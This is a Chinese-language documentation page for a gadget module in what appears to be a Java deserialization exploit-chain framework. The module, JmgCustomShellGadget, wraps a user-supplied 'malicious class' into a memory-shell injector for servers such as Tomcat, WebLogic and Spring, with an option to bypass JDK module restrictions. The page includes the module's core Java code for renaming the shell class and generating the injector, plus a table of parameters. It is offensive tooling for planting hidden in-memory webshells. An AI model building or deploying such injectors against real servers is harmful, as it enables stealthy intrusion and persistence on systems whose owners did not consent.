- 类别:bytecode 别名:— 优先级:11
- 作者:Pen4uin
- 依赖:内置 Jmg(java-memshell-generator)SDK、
guava、commons-codec、slf4j
与 JmgGadget 类似,但不用内置工具模板整马:它把链上游产出的任意字节码当作 shell 主体(自定义马),仅借用 Jmg 的注入器逻辑把该 shell 包装成可注入的内存马注入器字节码。适合「已有自己的恶意类、只想用 Jmg 完成注入」的场景。
- 入口
tags:Bytecode、Inject—— 表示本 gadget 既接收字节码又产出字节码的「注入器包装」环节。 - 衔接
nextTags:BytecodeConvertTag—— 区别于其它内存马 gadget,本类不是END:其产物仍需再经一个「字节码转换/装载」环节(如 BytecodeConvert)才能被目标加载。 excludes:无。
因为它在 invoke 里通过 chain.doCreate(context) 消费上游字节码(自定义 shell),所以它必须处于链中间:上游先产出 shell 字节码,本类包装成注入器,下游再装载。
关键在 getObject(byte[] bytecode) 接收上游字节码并决定 shell 类名策略:
public byte[] getObject(byte[] bytecode) throws Exception {
AbstractConfig config = new AbstractConfig();
config.setToolType(this.toolType); // 固定为 "Custom"
config.setShellType(this.shellType);
config.setServerType(this.serverType);
JavassistHelper javassistHelper = new JavassistHelper(bytecode); // 以上游字节码为蓝本
if ("random".equalsIgnoreCase(this.shellClassName)) {
this.shellClassName = FileHelper.getRandomClassName();
javassistHelper.setClassName(this.shellClassName); // 改成随机类名
shellBytes = javassistHelper.getBytecode();
} else if (Strings.isNullOrEmpty(this.shellClassName)) {
shellBytes = Base64.decodeBase64((byte[])bytecode); // 空 → 保持原样
this.shellClassName = javassistHelper.getClassName();
} else {
javassistHelper.setClassName(this.shellClassName); // 指定 → 用该类名
shellBytes = javassistHelper.getBytecode();
}
config.setShellBytes(shellBytes);
config.setShellBytesLength(shellBytes.length);
config.setShellClassName(this.shellClassName);
config.setEnableBypassJDKModule(this.bypassJdkModule);
...
synchronized (JmgCustomShellGadget.class) {
try {
jMGenerator generator = new jMGenerator(config);
generator.genPayload();
bytes = config.getInjectorBytes();
} catch (Exception e) {
ThrowsUtil.throwGadgetException("Invoke Jmg Error, plz check Jmg shellType、serverType params: " + e.getMessage());
}
this.context.put("Jmg Injector ClassName", config.getInjectorClassName());
this.context.put("Jmg Injector Bytecode Base64", Base64.encodeBase64String(...));
return bytes;
}
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
this.context = context;
return this.getObject((byte[]) chain.doCreate(context)); // 关键:吃上游字节码
}逐段解释:
toolType = "Custom":写死为自定义模式,Jmg 不再生成工具模板马,而是把传入的 shell 字节码原样作为内存马主体。- shell 类名三分支:
shellClassName为random→ 用FileHelper.getRandomClassName()随机改名(JavassistHelper.setClassName改写类内部类名);为空 → 保持原字节码不动、沿用其自带类名;否则 → 强制改成指定类名。改名保证注入器引用的类名与 shell 实际类名一致。 - 注入器生成:同样经
jMGenerator.genPayload()得到config.getInjectorBytes(),并在synchronized块内串行执行、把注入器信息回写 Context。 invoke的chain.doCreate(context)返回值被强转byte[]直接喂给getObject——这正是本类与JmgGadget(无参getObject、不消费上游)的根本差异,也是它带nextTags=BytecodeConvertTag而非END的原因。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
shellType |
内存马类型 | 挂载类型;部分组合不被支持 | Listener |
Listener / Filter / Valve / Interceptor / JakartaListener / JakartaFilter / WFHandlerMethod |
serverType |
目标中间件类型 | 目标 Web 容器 | Tomcat |
Tomcat / Resin / Jetty / SpringMVC / SpringWebFlux / JBoss / WebLogic / WebSphere / Undertow / GlassFish / Tongweb / Apusic / InforSuite / BES |
bypassJdkModule |
绕过 JDKModule 限制 | 高版本 JDK 反射绕过 | false |
true / false |
shellClassName |
shell ClassName | random 随机类名;为空保持原样;否则用指定类名 |
random |
random / 空 / 任意类名 |
toolType固定为Custom(非用户参数,未标@Param)。
- 内置 Jmg SDK;报错多因
shellType/serverType组合不被支持。 - 本类是链中间环节(
nextTags=BytecodeConvertTag),产物注入器字节码仍需下游 BytecodeConvert 等装载后方能触发。 - 相比 JmgGadget:把「shell 主体来自内置工具模板」换成「shell 主体来自链上游任意字节码」,实现自定义马 + Jmg 注入器的组合。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。
- 上游(提供自定义 shell 字节码):任意产出
Bytecode的 gadget(如自定义类字节码源、BytecodeFromBase64 等)。 - 下游(
nextTags=BytecodeConvertTag):BytecodeConvert。 - 同族:JmgGadget、MemShellPartyGadget。